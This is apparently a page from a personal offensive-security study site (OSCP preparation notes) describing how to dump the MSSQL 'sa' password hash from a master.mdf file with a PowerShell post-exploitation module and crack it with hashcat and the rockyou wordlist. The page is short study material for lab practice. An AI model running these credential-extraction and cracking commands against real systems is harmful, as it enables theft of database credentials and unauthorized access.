OffSec Notes
  • Offensive Security Notes
    • Linux/Unix
      • Checklist - PrivEsc
        • Related Links
        • Kernel Exploits
        • MYSQL
          • HEX
        • SUID
        • Relative Path in SUID Program
        • Writable /etc/passwd file
        • Writable script in /etc/crontab
        • Writable services
        • Sudo <=1.8.14
        • Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit
        • Docker
          • Docker Escape
        • davfs2
        • gcore
        • fail2ban
        • git
        • tar with wildcard
        • Exiftool
      • Limited Shell Escape
      • Wordpress
      • Apache Tomcat
      • Werkzeug Console PIN bypass
        • get_flask_pin.py
      • Java Object Deserialization
      • Redis RCE
      • mongodb
      • Postgres
      • Erlang - 4369
      • rsync - 873
      • Sendmail ClamAV
      • VNC Password Decryptor
    • Windows
      • Checklist - PrivEsc
        • MSSQL
        • PsExec.exe
        • Build Exploits
        • Unquoted Service Paths
        • SeImpersonateToken
        • SeRestorePrivilege
        • SeBackupPrivilege
        • Abuse GPO
        • Job with editable file
        • AlwaysInstallElevated
        • Misconfigured LDAP
        • GMSA
        • MS17-010
      • Useful PS Scripts
        • GetUserSPNs.ps1
        • Master MDF Hash Extraction
        • Spray-Passwords.ps1
      • Password Extraction
      • Office Macro
        • Microsoft Office
        • Open Office
      • Post Exploitation
    • Web
      • SQL Injection
        • mongodb 2.2.3
        • UNION BASED
          • MSSQL
          • Oracle
        • ERROR BASED
        • node.js
    • Nmap samples
    • Shells
      • node.js
      • msfvenom samples
      • Reverse Shells
      • Shellter
    • Enumeration
      • SMB
      • RPC
      • LDAP
    • Buffer Overflow
      • mona
      • fuzzer.py
      • exploit.py
      • bytearray.py
      • pattern_offset.rb
      • pattern_create.rb
    • Password Cracking
    • File Download
      • FTP
    • Port Forwarding
      • Dynamic Forwarding
    • Useful links
  • Blog
    • CRTO I & II
    • OSCP Preparation
    • New OSCP Exam vs Previous OSCP Exam
    • Movements in AD
    • PWK Lab vs PG Practice
  • PortSwigger Academy
    • Server-side topics
      • Authentication vulnerabilities
      • OS Command Injection
      • File Path Traversal
      • Business logic vulnerabilities
      • Information disclosure vulnerabilities
      • Access control vulnerabilities and privilege escalation
      • File upload vulnerabilities
      • Server-side request forgery (SSRF)
      • XML external entity (XXE) injection
    • Client-side topics
      • Cross-site scripting
      • Cross-origin resource sharing (CORS)
      • Cross-site request forgery (CSRF)
      • Clickjacking (UI redressing)
      • DOM-based vulnerabilities
      • Testing for WebSockets security vulnerabilities
    • Advanced topics
      • Insecure deserialization
      • Server-side template injection
      • Web cache poisoning
      • HTTP Host header attacks
      • HTTP request smuggling
      • OAuth 2.0 authentication vulnerabilities
      • JWT attacks
  • Walkthroughs
    • PG Practice
      • Linux
        • WARM UP
          • Bratarina
          • ClamAV
          • Exfiltrated
          • Hawat
          • Interface
          • Muddy
          • Pebbles
          • Twiggy
          • Wombo
        • GET TO WORK
          • Banzai
          • Cassios
          • Dibble
          • Fail
          • G00g
          • Hetemit
          • Hunit
          • Maria
          • Nappa
          • Nibbels
          • Nukem
          • Payday
          • Pelican
          • Readys
          • Roquefort
          • Snookums
          • Sorcerer
          • Splodge
          • Sybaris
          • Walla
          • Webcal
          • XposedAPI
          • ZenPhoto
          • Zino
          • QuackerJack
        • TRY HARDER
          • Clyde
          • Peppo
          • Sirol
      • Windows
        • WARM UP
          • Algernon
          • Compromised
          • Helpdesk
          • Internal
          • Kevin
          • Metallus
        • GET TO WORK
          • AuthBy
          • Billyboss
          • Craft
          • Fish
          • Hutch
          • Jacko
          • Nickel
          • Shenzi
          • Slort
        • TRY HARDER
          • Heist
          • Meathead
          • Vault
      • Template
  • About the author
Powered by GitBook
On this page
  1. Offensive Security Notes
  2. Windows
  3. Useful PS Scripts

Master MDF Hash Extraction

PreviousGetUserSPNs.ps1NextSpray-Passwords.ps1

Last updated 3 years ago

git clone https://github.com/xpn/Powershell-PostExploitation.git
Editing the file, 2 line to correct directory for dlls.

Import-Module .\Get-MDFHashes.ps1

Get-MDFHashes -mdf "C:\Users\Administrator\Desktop\master.mdf"
sa                             0x.......

Cracking.

https://hashcat.net/wiki/doku.php?id=example_hashes

1731 - MSSQL (2012, 2014) - MATCH!

hashcat -m 1731 -a 0 hash.txt rockyou.txt --force
sa - password1
https://blog.xpnsec.com/extracting-master-mdf-hashes/